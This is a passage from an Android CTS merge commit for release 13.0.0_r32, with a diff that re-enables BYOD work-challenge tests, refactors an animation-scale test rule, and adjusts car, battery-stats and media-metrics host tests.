Merge tag 'android-13.0.0_r32' into int/13/fp3

Android 13.0.0 release 32

* tag 'android-13.0.0_r32': (179 commits)
  Apply the fix for 8-bit decoding error to only 3gpp messages
  Disable networks when desired.
  Only require wifi for tests that need it.
  Consolidate networking code.
  @Ignore failing test testImeListensToWindowLayoutInfo
  Merge "Tear down RemoteConferenceTest properly to avoid test failures." am: c23b144eba
  DO NOT MERGE: Remove useless and broken CTS test
  DO NOT MERGE: Ignore testGetFromLocation for InstantApp
  DO NOT MERGE: Ignore testGetFromLocationName for InstantApp
  RESTRICT AUTOMERGE Correct the cve bug ID in RevokeSawPermissionTest
  RESTRICT AUTOMERGE Correct the cve bug ID in RevokeSawPermissionTest
  RESTRICT AUTOMERGE Correct the cve bug ID in RevokeSawPermissionTest
  RESTRICT AUTOMERGE Correct the cve bug ID in RevokeSawPermissionTest
  [DO NOT MERGE] Add CTS for atom logging of ADPF Telemetry
  Change PowerPolicyHostTest to support SilentMode change
  [DO NOT MERGE] Add OWNERS file for performancehintmanager
  DO NOT MERGE Removed the CTS test for oem service
  [Media] Fix bug number associated with ignored CTS tests.
  Removed turnHvacPowerOn() dependency on verifySetProperty()
  Revert "DO NOT MERGE Revert "Fix test cleanup issue in AnimatorL..."
  ...

Change-Id: I2dec796c17772053a66e253cff736424e53d0bf8
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 36d4632..103f490 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -311,7 +311,7 @@
     </string>
     <string name="clipboard_preview_test_instructions">
         Press the \'Copy\' button to copy the secret code to the clipboard.
-        \nDo not press any other buttons after you press the \'Copy\' button.
+        \n\nDo not press any other buttons or tap the clipboard UI after you press the \'Copy\' button.
         \n\n If nothing happens, press Fail.
         \n\n If you see the word "FAIL" appear on screen, press Fail.
         \n\n If you see a confirmation that content has been copied to the clipboard, press Pass.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index d6564ff..f15e6d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -116,9 +116,9 @@
     private TestListItem mDisableLocationModeThroughMainSwitchTest;
     private TestListItem mDisableLocationModeThroughWorkSwitchTest;
     private TestListItem mPrimaryLocationWhenWorkDisabledTest;
-    //private DialogTestListItem mSelectWorkChallenge;
+    private DialogTestListItem mSelectWorkChallenge;
     private DialogTestListItem mConfirmWorkCredentials;
-    //private DialogTestListItem mPatternWorkChallenge;
+    private DialogTestListItem mPatternWorkChallenge;
     private DialogTestListItem mParentProfilePassword;
     private DialogTestListItem mPersonalRingtonesTest;
     private TestListItem mVpnTest;
@@ -297,13 +297,11 @@
                     "BYOD_ConfirmWorkCredentials",
                     R.string.provisioning_byod_confirm_work_credentials_description,
                     new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
-            /* Disable due to  b/242477777
             mPatternWorkChallenge = new DialogTestListItem(this,
                     R.string.provisioning_byod_pattern_work_challenge,
                     "BYOD_PatternWorkChallenge",
                     R.string.provisioning_byod_pattern_work_challenge_description,
                     new Intent(ByodHelperActivity.ACTION_TEST_PATTERN_WORK_CHALLENGE));
-             */
 
             mWiFiDataUsageSettingsVisibleTest = new DialogTestListItem(this,
                     R.string.provisioning_byod_wifi_data_usage_settings,
@@ -473,13 +471,12 @@
                 R.string.profile_owner_permission_lockdown_test_info,
                 permissionCheckIntent);
 
-        /* Disable due to b/241498104
         mSelectWorkChallenge = new DialogTestListItem(this,
                 R.string.provisioning_byod_select_work_challenge,
                 "BYOD_SelectWorkChallenge",
                 R.string.provisioning_byod_select_work_challenge_description,
                 new Intent(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE));
-        */
+
         mRecentsTest = TestListItem.newTest(this,
                 R.string.provisioning_byod_recents,
                 RecentsRedactionActivity.class.getName(),
@@ -562,10 +559,10 @@
         adapter.add(mVpnTest);
         adapter.add(mAlwaysOnVpnSettingsTest);
         adapter.add(mTurnOffWorkFeaturesTest);
-        //adapter.add(mSelectWorkChallenge);
+        adapter.add(mSelectWorkChallenge);
         if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
             adapter.add(mConfirmWorkCredentials);
-            // adapter.add(mPatternWorkChallenge);
+            adapter.add(mPatternWorkChallenge);
         }
         adapter.add(mRecentsTest);
         adapter.add(mOrganizationInfoTest);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index a8ad2fd..fcdc462 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -170,7 +170,7 @@
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId);
             // This restriction is set per user so current user's DPM should be used instead of
             // device owner's DPM.
-            if (mMode == MODE_DEVICE_OWNER && ALSO_VALID_FOR_MANAGED_USER.contains(test)) {
+            if (mMode == MODE_DEVICE_OWNER || ALSO_VALID_FOR_MANAGED_USER.contains(test)) {
                 intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true);
             }
             adapter.add(TestListItem.newTest(title, testId, intent, null));
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisableAnimationRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisableAnimationRule.java
index dcf0a96..ae1684f 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisableAnimationRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisableAnimationRule.java
@@ -16,55 +16,9 @@
 
 package com.android.compatibility.common.util;
 
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+public class DisableAnimationRule extends OverrideAnimationScaleRule {
 
-import androidx.annotation.NonNull;
-
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-public class DisableAnimationRule extends BeforeAfterRule {
-    @NonNull
-    private final GlobalSetting mWindowAnimationScaleSetting = new GlobalSetting(
-            "window_animation_scale");
-    @NonNull
-    private final GlobalSetting mTransitionAnimationScaleSetting = new GlobalSetting(
-            "transition_animation_scale");
-    @NonNull
-    private final GlobalSetting mAnimatorDurationScaleSetting = new GlobalSetting(
-            "animator_duration_scale");
-
-    @Override
-    protected void onBefore(Statement base, Description description) throws Throwable {
-        mWindowAnimationScaleSetting.put("0");
-        mTransitionAnimationScaleSetting.put("0");
-        mAnimatorDurationScaleSetting.put("0");
-    }
-
-    @Override
-    protected void onAfter(Statement base, Description description) throws Throwable {
-        mWindowAnimationScaleSetting.restore();
-        mTransitionAnimationScaleSetting.restore();
-        mAnimatorDurationScaleSetting.restore();
-    }
-
-    private static class GlobalSetting {
-        @NonNull
-        private final String mName;
-
-        private String mInitialValue;
-
-        public GlobalSetting(@NonNull String name) {
-            mName = name;
-        }
-
-        public void put(@NonNull String value) {
-            mInitialValue = runShellCommand("settings get global " + mName);
-            runShellCommand("settings put global " + mName + " " + value);
-        }
-
-        public void restore() {
-            runShellCommand("settings put global " + mName + " " + mInitialValue);
-        }
+    public DisableAnimationRule() {
+        super(0);
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OverrideAnimationScaleRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/OverrideAnimationScaleRule.java
new file mode 100644
index 0000000..2d50bfa
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OverrideAnimationScaleRule.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import androidx.annotation.NonNull;
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+
+public class OverrideAnimationScaleRule extends BeforeAfterRule {
+
+    @NonNull
+    private final GlobalSetting mWindowAnimationScaleSetting = new GlobalSetting(
+            "window_animation_scale");
+    @NonNull
+    private final GlobalSetting mTransitionAnimationScaleSetting = new GlobalSetting(
+            "transition_animation_scale");
+    @NonNull
+    private final GlobalSetting mAnimatorDurationScaleSetting = new GlobalSetting(
+            "animator_duration_scale");
+
+    private final float mAnimationScale;
+
+    public OverrideAnimationScaleRule(float animationScale) {
+        mAnimationScale = animationScale;
+    }
+
+    @Override
+    protected void onBefore(Statement base, Description description) {
+        var value = Float.toString(mAnimationScale);
+        mWindowAnimationScaleSetting.put(value);
+        mTransitionAnimationScaleSetting.put(value);
+        mAnimatorDurationScaleSetting.put(value);
+    }
+
+    @Override
+    protected void onAfter(Statement base, Description description) {
+        mWindowAnimationScaleSetting.restore();
+        mTransitionAnimationScaleSetting.restore();
+        mAnimatorDurationScaleSetting.restore();
+    }
+
+    private static class GlobalSetting {
+        @NonNull
+        private final String mName;
+
+        private String mInitialValue;
+
+        public GlobalSetting(@NonNull String name) {
+            mName = name;
+        }
+
+        public void put(@NonNull String value) {
+            mInitialValue = runShellCommand("settings get global " + mName);
+            runShellCommand("settings put global " + mName + " " + value);
+        }
+
+        public void restore() {
+            runShellCommand("settings put global " + mName + " " + mInitialValue);
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index ff1e122..de8c4e2 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -32,6 +32,7 @@
         "compatibility-host-util",
         "truth-prebuilt",
         "hamcrest-library",
+        "sts-host-util",
     ],
 
     static_libs: [
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
index e86aa57..2e182eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
@@ -21,7 +21,7 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 import static org.junit.Assert.assertNull;
 import static org.junit.Assume.assumeTrue;
@@ -30,7 +30,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class RoleSecurityTest extends BaseHostJUnit4Test {
+public class RoleSecurityTest extends StsExtraBusinessLogicHostTestBase {
     private static final String ROLE_SECURITY_TEST_APP_APK = "CtsRoleSecurityTestApp.apk";
     private static final String ROLE_SECURITY_TEST_APP_PACKAGE = "com.android.cts.rolesecuritytest";
 
diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
index c7381a2..452ffd6 100644
--- a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
@@ -131,7 +131,7 @@
             "foregroundModeBytes = (\\d+)");
 
     private static final long START_CUSTOM_COLLECTION_TIMEOUT_MS = 30_000;
-    private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000;
+    private static final long WATCHDOG_ACTION_TIMEOUT_MS = 30_000;
 
     private boolean mDidModifyDateTime;
     private long mOriginalForegroundBytes;
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyDef.java b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyDef.java
index 711a867..eb87050 100644
--- a/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyDef.java
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyDef.java
@@ -158,7 +158,7 @@
 
     public static final class IdSet {
         public static final String DEFAULT_ALL_ON = "system_power_policy_all_on";
-        public static final String INITIAL_ALL_ON = "system_power_policy_initiall_on";
+        public static final String INITIAL_ALL_ON = "system_power_policy_initial_on";
         public static final String NO_USER_INTERACTION = "system_power_policy_no_user_interaction";
         public static final String NONE = "none";
         public static final String TEST1 = "test1";
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/SilentModeInfo.java b/hostsidetests/car/src/android/car/cts/powerpolicy/SilentModeInfo.java
index 5a3e46f..17db439 100644
--- a/hostsidetests/car/src/android/car/cts/powerpolicy/SilentModeInfo.java
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/SilentModeInfo.java
@@ -71,11 +71,7 @@
         boolean[] attrs = new boolean[ATTR_HEADERS.length];
         String[] lines = cmdOutput.split("\n");
 
-        if (lines.length != SilentModeInfo.ATTR_HEADERS.length) {
-            throw new IllegalArgumentException(
-                    "SilentModeQueryResult.parse(): malformatted cmd output: " + cmdOutput);
-        }
-        for (int idx = 0; idx < ATTR_HEADERS.length; idx++) {
+        for (int idx = 0; idx < lines.length; idx++) {
             String[] tokens = lines[idx].trim().split(":");
             if (tokens.length != 2) {
                 throw new IllegalArgumentException(
@@ -90,8 +86,7 @@
                 }
             }
             if (hdrIdx == ATTR_HEADERS.length) {
-                throw new IllegalArgumentException(
-                        "SilentModeQueryResult.parse(): unknown header: " + hdr);
+                continue;
             }
             attrs[hdrIdx] = Boolean.parseBoolean(val.trim());
         }
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index d6ac485..97ab753 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -480,12 +480,15 @@
     }
 
     private void checkUserActivity(String[] parts) {
-        assertEquals(9, parts.length);
+        assertEquals(11, parts.length);
         assertInteger(parts[4]); // other
         assertInteger(parts[5]); // button
         assertInteger(parts[6]); // touch
         assertInteger(parts[7]); // accessibility
         assertInteger(parts[8]); // attention
+        assertInteger(parts[9]); // faceDown
+        assertInteger(parts[10]); // deviceState
+
     }
 
     private void checkBattery(String[] parts) {
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
index 8c59b53..1608365 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -28,6 +28,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     sdk_version: "test_current",
     min_sdk_version: "19",
diff --git a/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml b/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml
index 78b5954..a55d689 100644
--- a/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml
@@ -19,6 +19,7 @@
      android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <uses-sdk android:minSdkVersion="30"/>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
index a3fe0a4..8c91c5b 100644
--- a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
+++ b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
@@ -34,14 +34,23 @@
 import android.os.Bundle;
 import android.os.PersistableBundle;
 import android.provider.DeviceConfig;
+import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.io.File;
+import java.io.FileWriter;
+import java.io.IOException;
+
+@RunWith(AndroidJUnit4.class)
 public class MediaMetricsAtomHostSideTests {
+    private static final String TAG = "MediaMetricsAtomHostSideTests";
     private static final String MEDIA_METRICS_MODE = "media_metrics_mode";
     private static final String PLAYER_METRICS_APP_ALLOWLIST = "player_metrics_app_allowlist";
     private static final String PLAYER_METRICS_APP_BLOCKLIST = "player_metrics_app_blocklist";
@@ -87,7 +96,7 @@
     @Test
     public void testPlaybackStateEvent_default() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackStateEvent e =
@@ -100,7 +109,7 @@
     @Test
     public void testPlaybackStateEvent() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackStateEvent e =
@@ -116,7 +125,7 @@
     @Test
     public void testPlaybackErrorEvent_default() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackErrorEvent e =
@@ -130,7 +139,7 @@
     @Test
     public void testPlaybackErrorEvent() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackErrorEvent e =
@@ -148,7 +157,7 @@
     @Test
     public void testTrackChangeEvent_default() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         TrackChangeEvent e =
@@ -160,7 +169,7 @@
     @Test
     public void testTrackChangeEvent_text() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         TrackChangeEvent e =
@@ -182,7 +191,7 @@
     @Test
     public void testTrackChangeEvent_audio() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         TrackChangeEvent e =
@@ -206,7 +215,7 @@
     @Test
     public void testTrackChangeEvent_video() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         TrackChangeEvent e =
@@ -232,7 +241,7 @@
     @Test
     public void testNetworkEvent_default() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         NetworkEvent e =
@@ -244,7 +253,7 @@
     @Test
     public void testNetworkEvent() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         NetworkEvent e =
@@ -260,7 +269,7 @@
     @Test
     public void testPlaybackMetrics_default() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackMetrics e =
@@ -272,7 +281,7 @@
     @Test
     public void testPlaybackMetrics() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackMetrics e =
@@ -301,10 +310,10 @@
 
     @Test
     public void testSessionId() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
 
-        try(PlaybackSession s = manager.createPlaybackSession()) {
+        try (PlaybackSession s = manager.createPlaybackSession()) {
             LogSessionId idObj = s.getSessionId();
             assertThat(idObj).isNotEqualTo(null);
             assertThat(idObj.getStringId().length()).isGreaterThan(0);
@@ -313,10 +322,10 @@
 
     @Test
     public void testRecordingSession() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
 
-        try(RecordingSession s = manager.createRecordingSession()) {
+        try (RecordingSession s = manager.createRecordingSession()) {
             assertThat(s).isNotEqualTo(null);
             LogSessionId idObj = s.getSessionId();
             assertThat(idObj).isNotEqualTo(null);
@@ -326,7 +335,7 @@
 
     @Test
     public void testEditingSession() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
 
         try (EditingSession s = manager.createEditingSession()) {
@@ -339,7 +348,7 @@
 
     @Test
     public void testTranscodingSession() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
 
         try (TranscodingSession s = manager.createTranscodingSession()) {
@@ -352,7 +361,7 @@
 
     @Test
     public void testBundleSession() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
 
         try (BundleSession s = manager.createBundleSession()) {
@@ -366,12 +375,12 @@
     @Test
     public void testBundleSessionPlaybackStateEvent() throws Exception {
         turnOnForTesting();
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         BundleSession s = manager.createBundleSession();
         PersistableBundle b = new PersistableBundle();
         b.putInt(BundleSession.KEY_STATSD_ATOM, 322);
-                // eventually want these keys from within the service side.
+        // eventually want these keys from within the service side.
         b.putString("playbackstateevent-sessionid", s.getSessionId().getStringId());
         b.putInt("playbackstateevent-state", PlaybackStateEvent.STATE_JOINING_FOREGROUND);
         b.putLong("playbackstateevent-lifetime", 1763L);
@@ -390,7 +399,7 @@
                             .build());
         });
         Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackStateEvent e =
@@ -400,6 +409,7 @@
                         .setMetricsBundle(new Bundle())
                         .build();
         s.reportPlaybackStateEvent(e);
+        writeSessionIdToFile(s.getSessionId().getStringId());
         resetProperties();
     }
 
@@ -414,7 +424,7 @@
                             .build());
         });
         Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackMetrics e =
@@ -438,6 +448,7 @@
                         .addExperimentId(123)
                         .build();
         s.reportPlaybackMetrics(e);
+        writeSessionIdToFile(s.getSessionId().getStringId());
         resetProperties();
     }
 
@@ -452,7 +463,7 @@
                             .build());
         });
         Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackStateEvent e =
@@ -462,6 +473,7 @@
                         .setMetricsBundle(new Bundle())
                         .build();
         s.reportPlaybackStateEvent(e);
+        writeSessionIdToFile(s.getSessionId().getStringId());
         resetProperties();
     }
 
@@ -476,7 +488,7 @@
                             .build());
         });
         Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
         PlaybackMetrics e =
@@ -500,6 +512,7 @@
                         .addExperimentId(123)
                         .build();
         s.reportPlaybackMetrics(e);
+        writeSessionIdToFile(s.getSessionId().getStringId());
         resetProperties();
     }
 
@@ -526,4 +539,17 @@
      */
     @Test
     public native void testAAudioLegacyInputStream();
+
+    private void writeSessionIdToFile(String stringId) throws IOException {
+        // TODO(b/259258249): Name session id after the test.
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        Log.i(TAG, "log_session_id=" + stringId);
+        File logDir = context.getExternalFilesDir(null);
+        File logFile = new File(logDir, "log_session_id.txt");
+        logFile.createNewFile();
+        FileWriter fw = new FileWriter(logFile.getAbsolutePath());
+        fw.write(stringId);
+        fw.close();
+        Log.i(TAG, "Logged to " + logFile.getAbsolutePath());
+    }
 }
diff --git a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
index 3e6bbea..fe2ac25 100644
--- a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
+++ b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
@@ -17,6 +17,7 @@
 package android.media.metrics.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.cts.statsdatom.lib.AtomTestUtils;
 import android.cts.statsdatom.lib.ConfigUtils;
@@ -26,15 +27,21 @@
 import com.android.os.AtomsProto;
 import com.android.os.StatsLog;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
+import com.google.common.truth.Correspondence;
+
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
+import java.util.function.Function;
+import java.util.stream.Collectors;
 
 public class MediaMetricsAtomTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String TAG = "MediaMetricsAtomTests";
     public static final String TEST_APK = "CtsMediaMetricsHostTestApp.apk";
     public static final String TEST_PKG = "android.media.metrics.cts";
     private static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
@@ -68,9 +75,7 @@
     public void testPlaybackStateEvent_default() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testPlaybackStateEvent_default");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -79,8 +84,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackStateChanged()).isTrue();
-        AtomsProto.MediaPlaybackStateChanged result =
-                data.get(0).getAtom().getMediaPlaybackStateChanged();
+        AtomsProto.MediaPlaybackStateChanged result = data.get(
+                0).getAtom().getMediaPlaybackStateChanged();
         assertThat(result.getPlaybackState().toString()).isEqualTo("NOT_STARTED");
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(-1L);
     }
@@ -88,9 +93,7 @@
     public void testPlaybackStateEvent() throws Exception {
